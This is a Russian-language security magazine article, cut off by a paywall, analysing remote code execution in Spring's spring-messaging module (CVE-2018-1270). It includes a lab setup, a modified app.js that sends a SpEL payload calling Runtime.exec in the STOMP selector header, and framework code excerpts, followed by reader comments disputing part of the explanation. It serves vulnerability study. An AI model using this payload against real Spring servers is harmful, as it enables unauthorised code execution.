Spring — это популярнейший фреймворк для разработки на Java, на нем базируются сотни решений в самых разных областях. Тут и всевозможные веб-сайты, и энтерпрайз-сервисы, и много другого. Трудно найти серьезное приложение на Java, которое бы не использовало Spring. Недавно в нем были найдены две критические уязвимости, которые приводят к удаленному исполнению кода. Давай посмотрим, как они работают.

Первая уязвимость (CVE-2018-1270) касается модуля для работы с веб-сокетами, вторая (CVE-2018-1260) — модуля авторизации по протоколу OAuth2. Но прежде чем разбирать их, подготовим стенд для тестирования.

 

Стенд

Снова мои любимые стенды для Java, да еще и с модулями фреймворка, о чем еще можно мечтать? 🙂

В работе нам понадобятся:

  • любая операционка;
  • Docker;
  • Java 8;
  • Maven или другая Ant-подобная тулза для билда;
  • в идеале какая-нибудь IDE, но и обычный текстовый редактор сойдет.

Как ты уже понял, для каждой уязвимости нужно будет скачивать, компилировать и запускать приложения, написанные на Java. Компиляция и запуск в общем случае будут сводиться к паре команд.

$ mvn package
$ java -jar target\package.jar

Если воспользуешься IDE, то процесс будет более наглядным. Я для своей работы возьму IntelliJ IDEA. Все остальные манипуляции рассмотрим по ходу разбора уязвимостей. Погнали!

 

RCE в модуле spring-messaging (CVE-2018-1270)

Первый баг в списке — это удаленное выполнение команд в модуле spring-messaging, который входит в стандартную поставку Spring Framework. Уязвимость, найденная 5 апреля, получила идентификатор CVE-2018-1270 и имеет статус критической. Она затрагивает все версии фреймворка из веток 4 и 5, вплоть до актуальных 4.3.14 и 5.0.4. Проблема заключается в некорректной логике обработки STOMP-сообщений (Simple/Streaming Text Oriented Message Protocol) и легко эксплуатируется удаленно.

STOMP — это специально спроектированный протокол обмена сообщениями. Он прост и основан на фреймах, подобно HTTP. Фрейм состоит из команды, необязательных заголовков и необязательного тела. Благодаря своей простоте STOMP может быть реализован поверх большого количества других протоколов, таких как RabbitMQ, ActiveMQ и других. Также можно успешно организовать работу поверх WebSockets. Именно этот способ нам интересен в рамках уязвимости, так как проблема находится в модуле spring-messaging, в реализации протокола STOMP.

Для тестирования уязвимости нам потребуется скачать примеры использования STOMP из репозитория https://github.com/spring-guides/gs-messaging-stomp-websocket. Подойдет любой коммит до 5 апреля.

Коммиты в репозитории с примерами работы протокола STOMP
Коммиты в репозитории с примерами работы протокола STOMP
$ git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
$ cd gs-messaging-stomp-websocket
$ git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

Теперь заглянем в папку, где хранится фронтенд. Нас интересует файл app.js, а в нем — функция, которая отвечает за подключение клиента к серверу. Для этих целей здесь используется библиотека SockJS.

/gs-messaging-stomp-websocket/complete/src/main/resources/static/app.js
15: function connect() {
16:     var socket = new SockJS('/gs-guide-websocket');
17:     stompClient = Stomp.over(socket);
18:     stompClient.connect({}, function (frame) {
19:         setConnected(true);
20:         console.log('Connected: ' + frame);
21:         stompClient.subscribe('/topic/greetings', function (greeting) {
22:             showGreeting(JSON.parse(greeting.body).content);
23:         });
24:     });
25: }

Нам нужно добавить переменную с пейлоадом, которая будет отправляться в качестве заголовка selector при создании подключения. Для облегчения эксплуатации можно сделать это до компиляции.

15: function connect() {
16:     var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
17:     var socket = new SockJS('/gs-guide-websocket');
18:     stompClient = Stomp.over(socket);
19:     stompClient.connect({}, function (frame) {
20:         setConnected(true);
21:         console.log('Connected: ' + frame);
22:         stompClient.subscribe('/topic/greetings', function (greeting) {
23:             showGreeting(JSON.parse(greeting.body).content);
24:         }, header);
25:     });
26: }

После этого можно откомпилировать и запустить приложение.

$ cd complete
$ mvn package
$ java -jar target/gs-messaging-stomp-websocket-0.1.0.jar
Запущенное приложение для тестирования STOMP
Запущенное приложение для тестирования STOMP

Согласно спецификации протокола STOMP переданные в хидере selector данные будут использоваться для фильтрации информации о подписках.

В файле DefaultSubscriptionRegistry.java имеется функция, которая отрабатывает при создании нового подключения, где генерируется новая подписка на события для этого клиента.

/org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java
139: @Override
140: protected void addSubscriptionInternal(
141:         String sessionId, String subsId, String destination, Message<?> message) {
142:
143:     Expression expression = null;
144:     MessageHeaders headers = message.getHeaders();
145:     String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers);
...
160:     this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
161:     this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);

А если встречается хидер selector, то его содержимое интерпретируется как выражение на языке SpEL (Spring Expression Language). За его обработку отвечает функция doParseExpression класса SpelExpression.

/org/springframework/expression/spel/standard/InternalSpelExpressionParser.java
121: @Override
122: protected SpelExpression doParseExpression(String expressionString, @Nullable ParserContext context)
123:         throws ParseException {
124:
125:     try {
126:         this.expressionString = expressionString;
127:         Tokenizer tokenizer = new Tokenizer(expressionString);
128:         this.tokenStream = tokenizer.process();
129:         this.tokenStreamLength = this.tokenStream.size();
130:         this.tokenStreamPointer = 0;
131:         this.constructedNodes.clear();
132:         SpelNodeImpl ast = eatExpression();
133:         Assert.state(ast != null, "No node");
Обработка заголовка selector при создании соединения
Обработка заголовка selector при создании соединения

Здесь есть возможность вызова конструктора java.lang.Class при помощи модификатора T.

Парсинг выражения, переданного в selector
Парсинг выражения, переданного в selector

Это значит, что мы довольно просто можем создать экземпляр объекта java.lang.Runtime и выполнить произвольную команду при помощи метода exec.

Обработанное выражение на SpEL, переданное в selector
Обработанное выражение на SpEL, переданное в selector

Теперь, после того как селектор привязан к сообщениям, на которые подписан пользователь, можно продолжать общение с сервером, чтобы начать получать эти самые сообщения. Для этого в примере предусмотрен стандартный Hello, %username%.

Когда гость отправит имя с помощью соответствующей формы, сервер должен его поприветствовать. То есть он должен выслать ответ всем пользователям, которые подписаны на это событие. Этим занимается функция sendMessageToSubscribers, в которой выполняется метод findSubscriptions. Он находит всех адресатов, которые были подписаны на сообщения этого типа.

Продолжение доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все материалы на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи один материал

Заинтересовала информация, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для материалов, опубликованных более двух месяцев назад.


2 комментария

  1. Tuw

    15.06.2018 at 13:43

    А можно пару пример с RCE на линуксе? ИБо обычно линукс стоит со спрингами

  2. yuraminsk

    17.06.2018 at 23:29

    «Здесь есть возможность вызова конструктора java.lang.Class при помощи модификатора T.»
    «Это значит, что мы довольно просто можем создать экземпляр объекта java.lang.Runtime и выполнить произвольную команду при помощи метода exec.»
    автор вообще джаву хоть немного знает, уже не говоря про спринг?)
    при чём тут конструкторы, тем более объекта Class?
    Runtime это класс со статическим методом, через T мы объясняем что работаем с этим классом в контексте выполнения выражения на spel, т.к. можем работать и с бином и с переменной которая тоже находится в контексте.
    А вообще не совсем понятно что тут дебажить если баг в том, что кто-то просто разрешил слать spel на сервер, что по сути запредельная тупость.

Оставить мнение

Check Also

Устранены семь уязвимостей в новой версии WordPress

Вышло первое обновление безопасности для свежей ветки WordPress 5.0. Были исправлены семь …